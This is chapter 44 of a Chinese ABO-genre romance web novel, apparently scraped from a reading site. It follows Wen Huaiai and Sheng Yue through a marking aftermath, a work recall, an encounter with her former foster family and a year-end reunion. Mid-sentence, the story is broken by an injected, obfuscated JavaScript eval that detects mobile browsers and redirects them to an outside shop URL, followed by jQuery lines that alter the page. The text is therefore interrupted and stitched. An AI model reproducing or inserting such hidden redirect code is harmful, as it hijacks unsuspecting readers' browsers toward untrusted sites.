44. 句号

作品:《beta也能反向标记alpha吗

    温热呼吸轻轻拂过腺体,距离凑得近了,才能发现其上附带着几条狰狞的疤。


    盛越被激起一阵鸡皮疙瘩,反手抓住温怀霭作恶的手,含糊其辞道:“还行。”


    标记过后,两人有些尴尬,温怀霭手被抓住不得动弹,视线还在对方后颈的腺体上瞄,“还打抑制剂吗?”


    “不打了。”盛越松开她,发情期的情潮被温怀霭一个标记压了下去,他重新把领子立起来遮住,声音还泛着沙哑,“回去吗?很晚了。”


    话到这里温怀霭想起那扇识别她后自动打开的门:“我怎么能进来?”


    “识别到你戴的哨子了。”盛越视线在她脖颈停留一会,移开,“这个哨子还真送对了,看起来你也很满意。”


    温怀霭睨他一眼,“所以今晚放我鸽子,是因为发情期。”


    “嗯。”


    “这次要到多久?”


    “明天就过了。”


    “你需要安抚吗?”温怀霭点点头,接而问,“我听别人说标记后需要信息素安抚的。”


    盛越挑眉:“别人?”


    “是啊,以前生理课不都这么讲的?不过太久了我都忘了。”温怀霭解释说,见对方被带着打趣的意味,“你不需要,我走了。”


    “回来。”盛越一句话喊停温怀霭的脚步,“哨子借我一下吧,明天还你。”


    温怀霭由而想到以前课上说的,除了标记的另一方,发情期还可以通过其他承载了对方信息素的物品渡过,哨子虽然小巧,但她好歹没怎么取下来过。


    “我通过哨子识别进来你这,明天怎么进门?”她一边摘链子一边问,而后把摘下来的哨子递向盛越。


    而后盛越就将她的面容扫进了识别系统。


    *


    两人说开后的第二天,温怀霭就被紧急调回了持稳中心。


    内部下的通知,出于连风雨提供的前期研究结果大多共同讨论完毕,而持稳中心内部人员清理也进行得差不多,beta样本库的善后处理也需要正式提上日程。


    向棠陪着她一同回了持稳中心,走前盛越忙于天穹内部会议没能到现场。


    两人随着持稳中心的航舰驶离天穹,温怀霭和向棠坐在同一个舱室,起初两人还是各躺各的没有交流,直到航行出一段距离后,温怀霭忽而听见向棠喊了她一声。


    “嗯?”


    “你的哨子,”两人位置各占过道左右,向棠躺于座内,两人互相看不到对方,只能是在上舰艇前向棠就注意到了温怀霭,“今天没看你戴。”


    哨子昨晚她暂借给盛越了,没要回来。


    虽然平时她也一直将其戴在身上没摘下来过,但即便平时戴着,这段时间在天穹的日子里,她也几乎没有将哨身从衣领内展示出来过。


    出于天穹分发的制服设计,窄圆领口能且仅能看见她脖子上用于挂哨子的链子,如果是近日注意到她的链子,向棠没可能知道她戴的是哨子。


    除非早在她离开前,向棠就知道她戴着哨子了。


    意识到这点,温怀霭由而紧张起来,向棠是什么时候知道的?她又会是什么态度?


    见温怀霭没有立刻回应,了解温怀霭如她,向棠叹了口气。


    “妈妈没有别的意思,怎么说盛越好歹也算是我看着长大的。”向棠道,“我说过,不管怎么样,妈妈站在你这一边。”


    温怀霭忽而想起昨天晚上和向棠在花园里散步,对方欲言又止的模样,后知后觉琢磨出彼时向棠的用意。


    温怀霭良久回应道:“谢谢妈妈。”


    *


    持稳中心的内部构成进行了大清理。


    一改先前一人掌握话语权的模式,现在abo三个群体分别设有三个部门,其中每个部分又设立有一名负责人对其所属部门负责,倘若遇到事关abo社会的相关重大事宜,则由部门内部做出表彰后再由各个负责人进行部门间的投标表决。


    由温怀霭负责的beta部门底下,只有当时和温怀霭处于同个研究小组的相关人员有小幅度的变动。


    当初她因轻信同窗,而被欧于露将自己发现beta样本库有问题的一事上报给了宋源风。宋源风早在天穹就被调查开除剥夺权利,而欧于露的处罚则要稍轻,仅是予以调查开除,但仍保有重新考入的权利。


    温怀霭这在持稳中心一待就是两个多月,期间忙得脚不沾地,部门内部的相关条例制度及样本库善后等等都是亟待完善的问题。


    加上从天穹回来后,两人更是各自分属各自机构,经过清理后各自的透明度提高,底下无数双眼睛盯着,在没有明面工作交集的情况下,是没有机会互相到对方地盘上去的。


    两人期间没有见面,全靠通讯软件交流。


    他们闲时还像以前一样视频,起先温怀霭还有些不自在,后来被盛越在手机那头逗了几句,这才放松下来。


    他们之间有什么变了,相处模式又似乎没有变。


    两个月期间,盛越历经了三次发情期,也是在眼见过对方光明正大把温怀霭的哨子在腕上缠了几圈后,温怀霭已然可以猜测对方是如何度过的发情期,不过她没问,他也没说。盛越发情期期间,两人空时只是安静地连着视频互相作陪,一如过去。


    *


    温怀霭在十二月抽空回了共治境一趟。


    在连轴转了几个月后,持稳中心的忙碌暂时告一段落,她回来这天没有告诉向棠,独自一人回的温家,却未曾料想,她会在时隔不知道几年后的今天再次看见方家的人。


    即便是在得知自己并非他们所生的此时此刻,温怀霭也没能够忘记她初到方家,人生中第一次尝得里外不是人的滋味。


    温怀霭出神见也没多停留,快步避开就要进闸口,谁料这几步被方母瞧见,她登时就被喊住——


    “霭霭?这是霭霭吧!”方母惊喜道,声音一大把门内几个管理人员的目光都吸引过来,她接而又对蹲在角落灌木丛的方父喊道,“你还抽?别抽了!”


    这一声直吸引了管理和方父的注意,前者忙派一人出门告知小区公共场所内禁烟,后者则不满着和其理论别的地方如何如何。


    这方纠缠间,方母抽身直截了温怀霭去路,“好久没见你,看你上新闻了,前程似锦,恭喜你呀。”


    “谢谢。”


    “好久不见,你还愿意回家坐坐吗?当初小雨带你回来,没有好好招待你,想想也是不该。”


    “......”温怀霭自认与其没有话题可聊,只是话到这里,她不由得猜测对方是为方雨而来,只叹口气,如实告知,“方雨她......走了。”


    “哦,我知道,我们看过新闻了。”方母面上没有丝毫意外,似乎早已知道这个消息,“我们是来找你的。”


    “找我?”


    “对呀,长话短说吧,你走后的日子,我们一直在想你,现在看你过得不错,事业有成,也算是放一百个心了。”方母话锋一转,“只是现在我们有些......困难,能指望的只有你了,你一定要帮帮方家、帮帮妈妈好吗?”


    温怀霭被“妈妈”一词听得一窒,皱起眉头,方母说他们看过新闻,那就应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145330|191581||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    该知道温怀霭是当初研究所从别处买来的,和方家并无关系。


    实际上,当初方雨将她带去方家,也是在瞒着向棠的情况下,错误地将她带去了一个与她温怀霭毫不相关的家庭,而温怀霭又在错误地将自己排除于温家方家之外后也将此事兀自咽下,方家与她的关系完全就是一个乌龙。


    又或者说,方母其实也心里门儿清,但是又不愿承认。


    温怀霭甚至不知道这对夫妻各自名唤为谁。


    也是这时,方父那边和管理纠缠了半天,仍未把烟头掐灭,反而在跟管理逐渐大声的对话中暴躁起来,而后咬着烟头朝二人这边来。


    眼看着方父就要过来,温怀霭三步作两步火速步至闸机口扫脸进门,方父方母完全没有料想初见时看着安安静静的温怀霭会不予他们以理睬,更甚者在退至他们无法进入的范围后,直截了当和内部其他管理人员告知自己和他们并不认识,希望将他们二人拉入管理黑名单。


    身后方父方母在被几个管理合力管控着请离,夹杂着方母的咒骂,温怀霭抽身而去,心情并不因此有所波动。


    *


    盛越在这年年底前携着一身冷风回了共治境原来和温怀霭一起住过的公寓。


    谁也没有料想,他们会在说开之后迎来出乎意料的几个月的分离。


    两人一起在这天将前几年缺席没能的生日,以补几年就插几根蜡烛的方式。


    原本还该有一个向棠和他们一起,不过对方外出散心,以不打扰二人为由和他们简单视频吹了个蜡烛。


    视频挂断前他们一起拍了个合照,不过少了个方雨,画面是放大版的温怀霭盛越及在手机镜头画面中微笑的向棠。


    温怀霭这会儿也不如以前爱吃蛋糕,即便蛋糕品质远比她十八岁那年大中午在街上给自己买的小块蛋糕要好,但她也只是象征性地切了一小块后也仅仅吃了几口,剩下的归予盛越。


    当然盛越也是吃不完的,这顿蛋糕处置权最后大半归于清洁阿姨所有。


    盛越这天回得晚,因而蛋糕吃过也快将近凌晨十二点。


    温怀霭将去年本该送出给盛越的正装香薰和今年的礼物在这一天当着他的面摆进了盛越房间。


    盛越将温怀霭的哨子替她带回颈上,同时告知温怀霭,这几年分别时间里他看过的让他不由想起温怀霭的小物件全部都在她的房间。


    起初温怀霭一声不吭刚离开共治境那会儿,盛越买得尤其多,不止是温怀霭平日里喜欢的各种各样花里胡哨的小东西,就是让他看到了会不免得想起她的画像都买回来□□副,尺寸风格各异,让温怀霭匪夷所思了好半天。


    温怀霭看着面前的画,喃喃道:“我还以为......”


    “以为什么?”


    “我还以为我们现在和以前没什么不同呢,现在看来好像,确实不太一样。”


    温怀霭这话说得含糊,盛越却是听得明白:“没什么不同?指我们现在的相处方式和以前没什么不同吗?”


    温怀霭点点头,视线仍在画像上来回看,直到耳边突兀地响起盛越近在耳边的声音:“你很失望?”


    “没......”温怀霭未说出口的话被盛越冷不丁以嘴唇封住。


    起先只是贴一下就快速分开,而后他稍低头看她一眼,见她只是略微错愕却没有退开,盛越单手扣住她的后脑勺,拇指以极轻的力道在她的后颈腺体上摩挲,“现在还一样吗?”


    窗外冷风呼啸,窗内热意缠绵,在跨越新旧年份的钟声到来之际,他们以此为先前的短暂交错补上句号。